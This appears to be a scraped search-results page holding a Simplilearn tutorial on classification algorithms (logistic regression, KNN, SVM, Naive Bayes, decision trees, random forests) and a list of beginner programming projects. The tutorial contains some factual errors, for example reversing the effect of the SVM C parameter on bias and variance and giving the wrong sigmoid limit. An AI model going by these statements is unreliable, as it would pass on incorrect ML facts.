16 skills found
sayantann11 / All Classification Templetes For MLClassification - Machine Learning This is ‘Classification’ tutorial which is a part of the Machine Learning course offered by Simplilearn. We will learn Classification algorithms, types of classification algorithms, support vector machines(SVM), Naive Bayes, Decision Tree and Random Forest Classifier in this tutorial. Objectives Let us look at some of the objectives covered under this section of Machine Learning tutorial. Define Classification and list its algorithms Describe Logistic Regression and Sigmoid Probability Explain K-Nearest Neighbors and KNN classification Understand Support Vector Machines, Polynomial Kernel, and Kernel Trick Analyze Kernel Support Vector Machines with an example Implement the Naïve Bayes Classifier Demonstrate Decision Tree Classifier Describe Random Forest Classifier Classification: Meaning Classification is a type of supervised learning. It specifies the class to which data elements belong to and is best used when the output has finite and discrete values. It predicts a class for an input variable as well. There are 2 types of Classification: Binomial Multi-Class Classification: Use Cases Some of the key areas where classification cases are being used: To find whether an email received is a spam or ham To identify customer segments To find if a bank loan is granted To identify if a kid will pass or fail in an examination Classification: Example Social media sentiment analysis has two potential outcomes, positive or negative, as displayed by the chart given below. https://www.simplilearn.com/ice9/free_resources_article_thumb/classification-example-machine-learning.JPG This chart shows the classification of the Iris flower dataset into its three sub-species indicated by codes 0, 1, and 2. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-flower-dataset-graph.JPG The test set dots represent the assignment of new test data points to one class or the other based on the trained classifier model. Types of Classification Algorithms Let’s have a quick look into the types of Classification Algorithm below. Linear Models Logistic Regression Support Vector Machines Nonlinear models K-nearest Neighbors (KNN) Kernel Support Vector Machines (SVM) Naïve Bayes Decision Tree Classification Random Forest Classification Logistic Regression: Meaning Let us understand the Logistic Regression model below. This refers to a regression model that is used for classification. This method is widely used for binary classification problems. It can also be extended to multi-class classification problems. Here, the dependent variable is categorical: y ϵ {0, 1} A binary dependent variable can have only two values, like 0 or 1, win or lose, pass or fail, healthy or sick, etc In this case, you model the probability distribution of output y as 1 or 0. This is called the sigmoid probability (σ). If σ(θ Tx) > 0.5, set y = 1, else set y = 0 Unlike Linear Regression (and its Normal Equation solution), there is no closed form solution for finding optimal weights of Logistic Regression. Instead, you must solve this with maximum likelihood estimation (a probability model to detect the maximum likelihood of something happening). It can be used to calculate the probability of a given outcome in a binary model, like the probability of being classified as sick or passing an exam. https://www.simplilearn.com/ice9/free_resources_article_thumb/logistic-regression-example-graph.JPG Sigmoid Probability The probability in the logistic regression is often represented by the Sigmoid function (also called the logistic function or the S-curve): https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-function-machine-learning.JPG In this equation, t represents data values * the number of hours studied and S(t) represents the probability of passing the exam. Assume sigmoid function: https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-probability-machine-learning.JPG g(z) tends toward 1 as z -> infinity , and g(z) tends toward 0 as z -> infinity K-nearest Neighbors (KNN) K-nearest Neighbors algorithm is used to assign a data point to clusters based on similarity measurement. It uses a supervised method for classification. The steps to writing a k-means algorithm are as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-distribution-graph-machine-learning.JPG Choose the number of k and a distance metric. (k = 5 is common) Find k-nearest neighbors of the sample that you want to classify Assign the class label by majority vote. KNN Classification A new input point is classified in the category such that it has the most number of neighbors from that category. For example: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-classification-machine-learning.JPG Classify a patient as high risk or low risk. Mark email as spam or ham. Keen on learning about Classification Algorithms in Machine Learning? Click here! Support Vector Machine (SVM) Let us understand Support Vector Machine (SVM) in detail below. SVMs are classification algorithms used to assign data to various classes. They involve detecting hyperplanes which segregate data into classes. SVMs are very versatile and are also capable of performing linear or nonlinear classification, regression, and outlier detection. Once ideal hyperplanes are discovered, new data points can be easily classified. https://www.simplilearn.com/ice9/free_resources_article_thumb/support-vector-machines-graph-machine-learning.JPG The optimization objective is to find “maximum margin hyperplane” that is farthest from the closest points in the two classes (these points are called support vectors). In the given figure, the middle line represents the hyperplane. SVM Example Let’s look at this image below and have an idea about SVM in general. Hyperplanes with larger margins have lower generalization error. The positive and negative hyperplanes are represented by: https://www.simplilearn.com/ice9/free_resources_article_thumb/positive-negative-hyperplanes-machine-learning.JPG Classification of any new input sample xtest : If w0 + wTxtest > 1, the sample xtest is said to be in the class toward the right of the positive hyperplane. If w0 + wTxtest < -1, the sample xtest is said to be in the class toward the left of the negative hyperplane. When you subtract the two equations, you get: https://www.simplilearn.com/ice9/free_resources_article_thumb/equation-subtraction-machine-learning.JPG Length of vector w is (L2 norm length): https://www.simplilearn.com/ice9/free_resources_article_thumb/length-of-vector-machine-learning.JPG You normalize with the length of w to arrive at: https://www.simplilearn.com/ice9/free_resources_article_thumb/normalize-equation-machine-learning.JPG SVM: Hard Margin Classification Given below are some points to understand Hard Margin Classification. The left side of equation SVM-1 given above can be interpreted as the distance between the positive (+ve) and negative (-ve) hyperplanes; in other words, it is the margin that can be maximized. Hence the objective of the function is to maximize with the constraint that the samples are classified correctly, which is represented as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-machine-learning.JPG This means that you are minimizing ‖w‖. This also means that all positive samples are on one side of the positive hyperplane and all negative samples are on the other side of the negative hyperplane. This can be written concisely as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-formula.JPG Minimizing ‖w‖ is the same as minimizing. This figure is better as it is differentiable even at w = 0. The approach listed above is called “hard margin linear SVM classifier.” SVM: Soft Margin Classification Given below are some points to understand Soft Margin Classification. To allow for linear constraints to be relaxed for nonlinearly separable data, a slack variable is introduced. (i) measures how much ith instance is allowed to violate the margin. The slack variable is simply added to the linear constraints. https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-machine-learning.JPG Subject to the above constraints, the new objective to be minimized becomes: https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-formula.JPG You have two conflicting objectives now—minimizing slack variable to reduce margin violations and minimizing to increase the margin. The hyperparameter C allows us to define this trade-off. Large values of C correspond to larger error penalties (so smaller margins), whereas smaller values of C allow for higher misclassification errors and larger margins. https://www.simplilearn.com/ice9/free_resources_article_thumb/machine-learning-certification-video-preview.jpg SVM: Regularization The concept of C is the reverse of regularization. Higher C means lower regularization, which increases bias and lowers the variance (causing overfitting). https://www.simplilearn.com/ice9/free_resources_article_thumb/concept-of-c-graph-machine-learning.JPG IRIS Data Set The Iris dataset contains measurements of 150 IRIS flowers from three different species: Setosa Versicolor Viriginica Each row represents one sample. Flower measurements in centimeters are stored as columns. These are called features. IRIS Data Set: SVM Let’s train an SVM model using sci-kit-learn for the Iris dataset: https://www.simplilearn.com/ice9/free_resources_article_thumb/svm-model-graph-machine-learning.JPG Nonlinear SVM Classification There are two ways to solve nonlinear SVMs: by adding polynomial features by adding similarity features Polynomial features can be added to datasets; in some cases, this can create a linearly separable dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/nonlinear-classification-svm-machine-learning.JPG In the figure on the left, there is only 1 feature x1. This dataset is not linearly separable. If you add x2 = (x1)2 (figure on the right), the data becomes linearly separable. Polynomial Kernel In sci-kit-learn, one can use a Pipeline class for creating polynomial features. Classification results for the Moons dataset are shown in the figure. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-machine-learning.JPG Polynomial Kernel with Kernel Trick Let us look at the image below and understand Kernel Trick in detail. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-with-kernel-trick.JPG For large dimensional datasets, adding too many polynomial features can slow down the model. You can apply a kernel trick with the effect of polynomial features without actually adding them. The code is shown (SVC class) below trains an SVM classifier using a 3rd-degree polynomial kernel but with a kernel trick. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-equation-machine-learning.JPG The hyperparameter coefθ controls the influence of high-degree polynomials. Kernel SVM Let us understand in detail about Kernel SVM. Kernel SVMs are used for classification of nonlinear data. In the chart, nonlinear data is projected into a higher dimensional space via a mapping function where it becomes linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-machine-learning.JPG In the higher dimension, a linear separating hyperplane can be derived and used for classification. A reverse projection of the higher dimension back to original feature space takes it back to nonlinear shape. As mentioned previously, SVMs can be kernelized to solve nonlinear classification problems. You can create a sample dataset for XOR gate (nonlinear problem) from NumPy. 100 samples will be assigned the class sample 1, and 100 samples will be assigned the class label -1. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-graph-machine-learning.JPG As you can see, this data is not linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-non-separable.JPG You now use the kernel trick to classify XOR dataset created earlier. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-xor-machine-learning.JPG Naïve Bayes Classifier What is Naive Bayes Classifier? Have you ever wondered how your mail provider implements spam filtering or how online news channels perform news text classification or even how companies perform sentiment analysis of their audience on social media? All of this and more are done through a machine learning algorithm called Naive Bayes Classifier. Naive Bayes Named after Thomas Bayes from the 1700s who first coined this in the Western literature. Naive Bayes classifier works on the principle of conditional probability as given by the Bayes theorem. Advantages of Naive Bayes Classifier Listed below are six benefits of Naive Bayes Classifier. Very simple and easy to implement Needs less training data Handles both continuous and discrete data Highly scalable with the number of predictors and data points As it is fast, it can be used in real-time predictions Not sensitive to irrelevant features Bayes Theorem We will understand Bayes Theorem in detail from the points mentioned below. According to the Bayes model, the conditional probability P(Y|X) can be calculated as: P(Y|X) = P(X|Y)P(Y) / P(X) This means you have to estimate a very large number of P(X|Y) probabilities for a relatively small vector space X. For example, for a Boolean Y and 30 possible Boolean attributes in the X vector, you will have to estimate 3 billion probabilities P(X|Y). To make it practical, a Naïve Bayes classifier is used, which assumes conditional independence of P(X) to each other, with a given value of Y. This reduces the number of probability estimates to 2*30=60 in the above example. Naïve Bayes Classifier for SMS Spam Detection Consider a labeled SMS database having 5574 messages. It has messages as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-machine-learning.JPG Each message is marked as spam or ham in the data set. Let’s train a model with Naïve Bayes algorithm to detect spam from ham. The message lengths and their frequency (in the training dataset) are as shown below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-spam-detection.JPG Analyze the logic you use to train an algorithm to detect spam: Split each message into individual words/tokens (bag of words). Lemmatize the data (each word takes its base form, like “walking” or “walked” is replaced with “walk”). Convert data to vectors using scikit-learn module CountVectorizer. Run TFIDF to remove common words like “is,” “are,” “and.” Now apply scikit-learn module for Naïve Bayes MultinomialNB to get the Spam Detector. This spam detector can then be used to classify a random new message as spam or ham. Next, the accuracy of the spam detector is checked using the Confusion Matrix. For the SMS spam example above, the confusion matrix is shown on the right. Accuracy Rate = Correct / Total = (4827 + 592)/5574 = 97.21% Error Rate = Wrong / Total = (155 + 0)/5574 = 2.78% https://www.simplilearn.com/ice9/free_resources_article_thumb/confusion-matrix-machine-learning.JPG Although confusion Matrix is useful, some more precise metrics are provided by Precision and Recall. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-recall-matrix-machine-learning.JPG Precision refers to the accuracy of positive predictions. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-formula-machine-learning.JPG Recall refers to the ratio of positive instances that are correctly detected by the classifier (also known as True positive rate or TPR). https://www.simplilearn.com/ice9/free_resources_article_thumb/recall-formula-machine-learning.JPG Precision/Recall Trade-off To detect age-appropriate videos for kids, you need high precision (low recall) to ensure that only safe videos make the cut (even though a few safe videos may be left out). The high recall is needed (low precision is acceptable) in-store surveillance to catch shoplifters; a few false alarms are acceptable, but all shoplifters must be caught. Learn about Naive Bayes in detail. Click here! Decision Tree Classifier Some aspects of the Decision Tree Classifier mentioned below are. Decision Trees (DT) can be used both for classification and regression. The advantage of decision trees is that they require very little data preparation. They do not require feature scaling or centering at all. They are also the fundamental components of Random Forests, one of the most powerful ML algorithms. Unlike Random Forests and Neural Networks (which do black-box modeling), Decision Trees are white box models, which means that inner workings of these models are clearly understood. In the case of classification, the data is segregated based on a series of questions. Any new data point is assigned to the selected leaf node. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-machine-learning.JPG Start at the tree root and split the data on the feature using the decision algorithm, resulting in the largest information gain (IG). This splitting procedure is then repeated in an iterative process at each child node until the leaves are pure. This means that the samples at each node belonging to the same class. In practice, you can set a limit on the depth of the tree to prevent overfitting. The purity is compromised here as the final leaves may still have some impurity. The figure shows the classification of the Iris dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-graph.JPG IRIS Decision Tree Let’s build a Decision Tree using scikit-learn for the Iris flower dataset and also visualize it using export_graphviz API. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-machine-learning.JPG The output of export_graphviz can be converted into png format: https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-output.JPG Sample attribute stands for the number of training instances the node applies to. Value attribute stands for the number of training instances of each class the node applies to. Gini impurity measures the node’s impurity. A node is “pure” (gini=0) if all training instances it applies to belong to the same class. https://www.simplilearn.com/ice9/free_resources_article_thumb/impurity-formula-machine-learning.JPG For example, for Versicolor (green color node), the Gini is 1-(0/54)2 -(49/54)2 -(5/54) 2 ≈ 0.168 https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-sample.JPG Decision Boundaries Let us learn to create decision boundaries below. For the first node (depth 0), the solid line splits the data (Iris-Setosa on left). Gini is 0 for Setosa node, so no further split is possible. The second node (depth 1) splits the data into Versicolor and Virginica. If max_depth were set as 3, a third split would happen (vertical dotted line). https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-boundaries.JPG For a sample with petal length 5 cm and petal width 1.5 cm, the tree traverses to depth 2 left node, so the probability predictions for this sample are 0% for Iris-Setosa (0/54), 90.7% for Iris-Versicolor (49/54), and 9.3% for Iris-Virginica (5/54) CART Training Algorithm Scikit-learn uses Classification and Regression Trees (CART) algorithm to train Decision Trees. CART algorithm: Split the data into two subsets using a single feature k and threshold tk (example, petal length < “2.45 cm”). This is done recursively for each node. k and tk are chosen such that they produce the purest subsets (weighted by their size). The objective is to minimize the cost function as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/cart-training-algorithm-machine-learning.JPG The algorithm stops executing if one of the following situations occurs: max_depth is reached No further splits are found for each node Other hyperparameters may be used to stop the tree: min_samples_split min_samples_leaf min_weight_fraction_leaf max_leaf_nodes Gini Impurity or Entropy Entropy is one more measure of impurity and can be used in place of Gini. https://www.simplilearn.com/ice9/free_resources_article_thumb/gini-impurity-entrophy.JPG It is a degree of uncertainty, and Information Gain is the reduction that occurs in entropy as one traverses down the tree. Entropy is zero for a DT node when the node contains instances of only one class. Entropy for depth 2 left node in the example given above is: https://www.simplilearn.com/ice9/free_resources_article_thumb/entrophy-for-depth-2.JPG Gini and Entropy both lead to similar trees. DT: Regularization The following figure shows two decision trees on the moons dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/dt-regularization-machine-learning.JPG The decision tree on the right is restricted by min_samples_leaf = 4. The model on the left is overfitting, while the model on the right generalizes better. Random Forest Classifier Let us have an understanding of Random Forest Classifier below. A random forest can be considered an ensemble of decision trees (Ensemble learning). Random Forest algorithm: Draw a random bootstrap sample of size n (randomly choose n samples from the training set). Grow a decision tree from the bootstrap sample. At each node, randomly select d features. Split the node using the feature that provides the best split according to the objective function, for instance by maximizing the information gain. Repeat the steps 1 to 2 k times. (k is the number of trees you want to create, using a subset of samples) Aggregate the prediction by each tree for a new data point to assign the class label by majority vote (pick the group selected by the most number of trees and assign new data point to that group). Random Forests are opaque, which means it is difficult to visualize their inner workings. https://www.simplilearn.com/ice9/free_resources_article_thumb/random-forest-classifier-graph.JPG However, the advantages outweigh their limitations since you do not have to worry about hyperparameters except k, which stands for the number of decision trees to be created from a subset of samples. RF is quite robust to noise from the individual decision trees. Hence, you need not prune individual decision trees. The larger the number of decision trees, the more accurate the Random Forest prediction is. (This, however, comes with higher computation cost). Key Takeaways Let us quickly run through what we have learned so far in this Classification tutorial. Classification algorithms are supervised learning methods to split data into classes. They can work on Linear Data as well as Nonlinear Data. Logistic Regression can classify data based on weighted parameters and sigmoid conversion to calculate the probability of classes. K-nearest Neighbors (KNN) algorithm uses similar features to classify data. Support Vector Machines (SVMs) classify data by detecting the maximum margin hyperplane between data classes. Naïve Bayes, a simplified Bayes Model, can help classify data using conditional probability models. Decision Trees are powerful classifiers and use tree splitting logic until pure or somewhat pure leaf node classes are attained. Random Forests apply Ensemble Learning to Decision Trees for more accurate classification predictions. Conclusion This completes ‘Classification’ tutorial. In the next tutorial, we will learn 'Unsupervised Learning with Clustering.'
ManojKumarPatnaik / Major Project ListA list of practical projects that anyone can solve in any programming language (See solutions). These projects are divided into multiple categories, and each category has its own folder. To get started, simply fork this repo. CONTRIBUTING See ways of contributing to this repo. You can contribute solutions (will be published in this repo) to existing problems, add new projects, or remove existing ones. Make sure you follow all instructions properly. Solutions You can find implementations of these projects in many other languages by other users in this repo. Credits Problems are motivated by the ones shared at: Martyr2’s Mega Project List Rosetta Code Table of Contents Numbers Classic Algorithms Graph Data Structures Text Networking Classes Threading Web Files Databases Graphics and Multimedia Security Numbers Find PI to the Nth Digit - Enter a number and have the program generate PI up to that many decimal places. Keep a limit to how far the program will go. Find e to the Nth Digit - Just like the previous problem, but with e instead of PI. Enter a number and have the program generate e up to that many decimal places. Keep a limit to how far the program will go. Fibonacci Sequence - Enter a number and have the program generate the Fibonacci sequence to that number or to the Nth number. Prime Factorization - Have the user enter a number and find all Prime Factors (if there are any) and display them. Next Prime Number - Have the program find prime numbers until the user chooses to stop asking for the next one. Find Cost of Tile to Cover W x H Floor - Calculate the total cost of the tile it would take to cover a floor plan of width and height, using a cost entered by the user. Mortgage Calculator - Calculate the monthly payments of a fixed-term mortgage over given Nth terms at a given interest rate. Also, figure out how long it will take the user to pay back the loan. For added complexity, add an option for users to select the compounding interval (Monthly, Weekly, Daily, Continually). Change Return Program - The user enters a cost and then the amount of money given. The program will figure out the change and the number of quarters, dimes, nickels, pennies needed for the change. Binary to Decimal and Back Converter - Develop a converter to convert a decimal number to binary or a binary number to its decimal equivalent. Calculator - A simple calculator to do basic operators. Make it a scientific calculator for added complexity. Unit Converter (temp, currency, volume, mass, and more) - Converts various units between one another. The user enters the type of unit being entered, the type of unit they want to convert to, and then the value. The program will then make the conversion. Alarm Clock - A simple clock where it plays a sound after X number of minutes/seconds or at a particular time. Distance Between Two Cities - Calculates the distance between two cities and allows the user to specify a unit of distance. This program may require finding coordinates for the cities like latitude and longitude. Credit Card Validator - Takes in a credit card number from a common credit card vendor (Visa, MasterCard, American Express, Discoverer) and validates it to make sure that it is a valid number (look into how credit cards use a checksum). Tax Calculator - Asks the user to enter a cost and either a country or state tax. It then returns the tax plus the total cost with tax. Factorial Finder - The Factorial of a positive integer, n, is defined as the product of the sequence n, n-1, n-2, ...1, and the factorial of zero, 0, is defined as being 1. Solve this using both loops and recursion. Complex Number Algebra - Show addition, multiplication, negation, and inversion of complex numbers in separate functions. (Subtraction and division operations can be made with pairs of these operations.) Print the results for each operation tested. Happy Numbers - A happy number is defined by the following process. Starting with any positive integer, replace the number by the sum of the squares of its digits, and repeat the process until the number equals 1 (where it will stay), or it loops endlessly in a cycle which does not include 1. Those numbers for which this process ends in 1 are happy numbers, while those that do not end in 1 are unhappy numbers. Display an example of your output here. Find the first 8 happy numbers. Number Names - Show how to spell out a number in English. You can use a preexisting implementation or roll your own, but you should support inputs up to at least one million (or the maximum value of your language's default bounded integer type if that's less). Optional: Support for inputs other than positive integers (like zero, negative integers, and floating-point numbers). Coin Flip Simulation - Write some code that simulates flipping a single coin however many times the user decides. The code should record the outcomes and count the number of tails and heads. Limit Calculator - Ask the user to enter f(x) and the limit value, then return the value of the limit statement Optional: Make the calculator capable of supporting infinite limits. Fast Exponentiation - Ask the user to enter 2 integers a and b and output a^b (i.e. pow(a,b)) in O(LG n) time complexity. Classic Algorithms Collatz Conjecture - Start with a number n > 1. Find the number of steps it takes to reach one using the following process: If n is even, divide it by 2. If n is odd, multiply it by 3 and add 1. Sorting - Implement two types of sorting algorithms: Merge sort and bubble sort. Closest pair problem - The closest pair of points problem or closest pair problem is a problem of computational geometry: given n points in metric space, find a pair of points with the smallest distance between them. Sieve of Eratosthenes - The sieve of Eratosthenes is one of the most efficient ways to find all of the smaller primes (below 10 million or so). Graph Graph from links - Create a program that will create a graph or network from a series of links. Eulerian Path - Create a program that will take as an input a graph and output either an Eulerian path or an Eulerian cycle, or state that it is not possible. An Eulerian path starts at one node and traverses every edge of a graph through every node and finishes at another node. An Eulerian cycle is an eulerian Path that starts and finishes at the same node. Connected Graph - Create a program that takes a graph as an input and outputs whether every node is connected or not. Dijkstra’s Algorithm - Create a program that finds the shortest path through a graph using its edges. Minimum Spanning Tree - Create a program that takes a connected, undirected graph with weights and outputs the minimum spanning tree of the graph i.e., a subgraph that is a tree, contains all the vertices, and the sum of its weights is the least possible. Data Structures Inverted index - An Inverted Index is a data structure used to create full-text search. Given a set of text files, implement a program to create an inverted index. Also, create a user interface to do a search using that inverted index which returns a list of files that contain the query term/terms. The search index can be in memory. Text Fizz Buzz - Write a program that prints the numbers from 1 to 100. But for multiples of three print “Fizz” instead of the number and for the multiples of five print “Buzz”. For numbers which are multiples of both three and five print “FizzBuzz”. Reverse a String - Enter a string and the program will reverse it and print it out. Pig Latin - Pig Latin is a game of alterations played in the English language game. To create the Pig Latin form of an English word the initial consonant sound is transposed to the end of the word and an ay is affixed (Ex.: "banana" would yield anana-bay). Read Wikipedia for more information on rules. Count Vowels - Enter a string and the program counts the number of vowels in the text. For added complexity have it report a sum of each vowel found. Check if Palindrome - Checks if the string entered by the user is a palindrome. That is that it reads the same forwards as backward like “racecar” Count Words in a String - Counts the number of individual words in a string. For added complexity read these strings in from a text file and generate a summary. Text Editor - Notepad-style application that can open, edit, and save text documents. Optional: Add syntax highlighting and other features. RSS Feed Creator - Given a link to RSS/Atom Feed, get all posts and display them. Quote Tracker (market symbols etc) - A program that can go out and check the current value of stocks for a list of symbols entered by the user. The user can set how often the stocks are checked. For CLI, show whether the stock has moved up or down. Optional: If GUI, the program can show green up and red down arrows to show which direction the stock value has moved. Guestbook / Journal - A simple application that allows people to add comments or write journal entries. It can allow comments or not and timestamps for all entries. Could also be made into a shoutbox. Optional: Deploy it on Google App Engine or Heroku or any other PaaS (if possible, of course). Vigenere / Vernam / Ceasar Ciphers - Functions for encrypting and decrypting data messages. Then send them to a friend. Regex Query Tool - A tool that allows the user to enter a text string and then in a separate control enter a regex pattern. It will run the regular expression against the source text and return any matches or flag errors in the regular expression. Networking FTP Program - A file transfer program that can transfer files back and forth from a remote web sever. Bandwidth Monitor - A small utility program that tracks how much data you have uploaded and downloaded from the net during the course of your current online session. See if you can find out what periods of the day you use more and less and generate a report or graph that shows it. Port Scanner - Enter an IP address and a port range where the program will then attempt to find open ports on the given computer by connecting to each of them. On any successful connections mark the port as open. Mail Checker (POP3 / IMAP) - The user enters various account information include web server and IP, protocol type (POP3 or IMAP), and the application will check for email at a given interval. Country from IP Lookup - Enter an IP address and find the country that IP is registered in. Optional: Find the Ip automatically. Whois Search Tool - Enter an IP or host address and have it look it up through whois and return the results to you. Site Checker with Time Scheduling - An application that attempts to connect to a website or server every so many minute or a given time and check if it is up. If it is down, it will notify you by email or by posting a notice on the screen. Classes Product Inventory Project - Create an application that manages an inventory of products. Create a product class that has a price, id, and quantity on hand. Then create an inventory class that keeps track of various products and can sum up the inventory value. Airline / Hotel Reservation System - Create a reservation system that books airline seats or hotel rooms. It charges various rates for particular sections of the plane or hotel. For example, first class is going to cost more than a coach. Hotel rooms have penthouse suites which cost more. Keep track of when rooms will be available and can be scheduled. Company Manager - Create a hierarchy of classes - abstract class Employee and subclasses HourlyEmployee, SalariedEmployee, Manager, and Executive. Everyone's pay is calculated differently, research a bit about it. After you've established an employee hierarchy, create a Company class that allows you to manage the employees. You should be able to hire, fire, and raise employees. Bank Account Manager - Create a class called Account which will be an abstract class for three other classes called CheckingAccount, SavingsAccount, and BusinessAccount. Manage credits and debits from these accounts through an ATM-style program. Patient / Doctor Scheduler - Create a patient class and a doctor class. Have a doctor that can handle multiple patients and set up a scheduling program where a doctor can only handle 16 patients during an 8 hr workday. Recipe Creator and Manager - Create a recipe class with ingredients and put them in a recipe manager program that organizes them into categories like desserts, main courses, or by ingredients like chicken, beef, soups, pies, etc. Image Gallery - Create an image abstract class and then a class that inherits from it for each image type. Put them in a program that displays them in a gallery-style format for viewing. Shape Area and Perimeter Classes - Create an abstract class called Shape and then inherit from it other shapes like diamond, rectangle, circle, triangle, etc. Then have each class override the area and perimeter functionality to handle each shape type. Flower Shop Ordering To Go - Create a flower shop application that deals in flower objects and use those flower objects in a bouquet object which can then be sold. Keep track of the number of objects and when you may need to order more. Family Tree Creator - Create a class called Person which will have a name, when they were born, and when (and if) they died. Allow the user to create these Person classes and put them into a family tree structure. Print out the tree to the screen. Threading Create A Progress Bar for Downloads - Create a progress bar for applications that can keep track of a download in progress. The progress bar will be on a separate thread and will communicate with the main thread using delegates. Bulk Thumbnail Creator - Picture processing can take a bit of time for some transformations. Especially if the image is large. Create an image program that can take hundreds of images and converts them to a specified size in the background thread while you do other things. For added complexity, have one thread handling re-sizing, have another bulk renaming of thumbnails, etc. Web Page Scraper - Create an application that connects to a site and pulls out all links, or images, and saves them to a list. Optional: Organize the indexed content and don’t allow duplicates. Have it put the results into an easily searchable index file. Online White Board - Create an application that allows you to draw pictures, write notes and use various colors to flesh out ideas for projects. Optional: Add a feature to invite friends to collaborate on a whiteboard online. Get Atomic Time from Internet Clock - This program will get the true atomic time from an atomic time clock on the Internet. Use any one of the atomic clocks returned by a simple Google search. Fetch Current Weather - Get the current weather for a given zip/postal code. Optional: Try locating the user automatically. Scheduled Auto Login and Action - Make an application that logs into a given site on a schedule and invokes a certain action and then logs out. This can be useful for checking webmail, posting regular content, or getting info for other applications and saving it to your computer. E-Card Generator - Make a site that allows people to generate their own little e-cards and send them to other people. Do not use Flash. Use a picture library and perhaps insightful mottos or quotes. Content Management System - Create a content management system (CMS) like Joomla, Drupal, PHP Nuke, etc. Start small. Optional: Allow for the addition of modules/addons. Web Board (Forum) - Create a forum for you and your buddies to post, administer and share thoughts and ideas. CAPTCHA Maker - Ever see those images with letters numbers when you signup for a service and then ask you to enter what you see? It keeps web bots from automatically signing up and spamming. Try creating one yourself for online forms. Files Quiz Maker - Make an application that takes various questions from a file, picked randomly, and puts together a quiz for students. Each quiz can be different and then reads a key to grade the quizzes. Sort Excel/CSV File Utility - Reads a file of records, sorts them, and then writes them back to the file. Allow the user to choose various sort style and sorting based on a particular field. Create Zip File Maker - The user enters various files from different directories and the program zips them up into a zip file. Optional: Apply actual compression to the files. Start with Huffman Algorithm. PDF Generator - An application that can read in a text file, HTML file, or some other file and generates a PDF file out of it. Great for a web-based service where the user uploads the file and the program returns a PDF of the file. Optional: Deploy on GAE or Heroku if possible. Mp3 Tagger - Modify and add ID3v1 tags to MP3 files. See if you can also add in the album art into the MP3 file’s header as well as other ID3v2 tags. Code Snippet Manager - Another utility program that allows coders to put in functions, classes, or other tidbits to save for use later. Organized by the type of snippet or language the coder can quickly lookup code. Optional: For extra practice try adding syntax highlighting based on the language. Databases SQL Query Analyzer - A utility application in which a user can enter a query and have it run against a local database and look for ways to make it more efficient. Remote SQL Tool - A utility that can execute queries on remote servers from your local computer across the Internet. It should take in a remote host, user name, and password, run the query and return the results. Report Generator - Create a utility that generates a report based on some tables in a database. Generates sales reports based on the order/order details tables or sums up the day's current database activity. Event Scheduler and Calendar - Make an application that allows the user to enter a date and time of an event, event notes, and then schedule those events on a calendar. The user can then browse the calendar or search the calendar for specific events. Optional: Allow the application to create re-occurrence events that reoccur every day, week, month, year, etc. Budget Tracker - Write an application that keeps track of a household’s budget. The user can add expenses, income, and recurring costs to find out how much they are saving or losing over a period of time. Optional: Allow the user to specify a date range and see the net flow of money in and out of the house budget for that time period. TV Show Tracker - Got a favorite show you don’t want to miss? Don’t have a PVR or want to be able to find the show to then PVR it later? Make an application that can search various online TV Guide sites, locate the shows/times/channels and add them to a database application. The database/website then can send you email reminders that a show is about to start and which channel it will be on. Travel Planner System - Make a system that allows users to put together their own little travel itinerary and keep track of the airline/hotel arrangements, points of interest, budget, and schedule. Graphics and Multimedia Slide Show - Make an application that shows various pictures in a slide show format. Optional: Try adding various effects like fade in/out, star wipe, and window blinds transitions. Stream Video from Online - Try to create your own online streaming video player. Mp3 Player - A simple program for playing your favorite music files. Add features you think are missing from your favorite music player. Watermarking Application - Have some pictures you want copyright protected? Add your own logo or text lightly across the background so that no one can simply steal your graphics off your site. Make a program that will add this watermark to the picture. Optional: Use threading to process multiple images simultaneously. Turtle Graphics - This is a common project where you create a floor of 20 x 20 squares. Using various commands you tell a turtle to draw a line on the floor. You have moved forward, left or right, lift or drop the pen, etc. Do a search online for "Turtle Graphics" for more information. Optional: Allow the program to read in the list of commands from a file. GIF Creator A program that puts together multiple images (PNGs, JPGs, TIFFs) to make a smooth GIF that can be exported. Optional: Make the program convert small video files to GIFs as well. Security Caesar cipher - Implement a Caesar cipher, both encoding, and decoding. The key is an integer from 1 to 25. This cipher rotates the letters of the alphabet (A to Z). The encoding replaces each letter with the 1st to 25th next letter in the alphabet (wrapping Z to A). So key 2 encrypts "HI" to "JK", but key 20 encrypts "HI" to "BC". This simple "monoalphabetic substitution cipher" provides almost no security, because an attacker who has the encoded message can either use frequency analysis to guess the key, or just try all 25 keys.
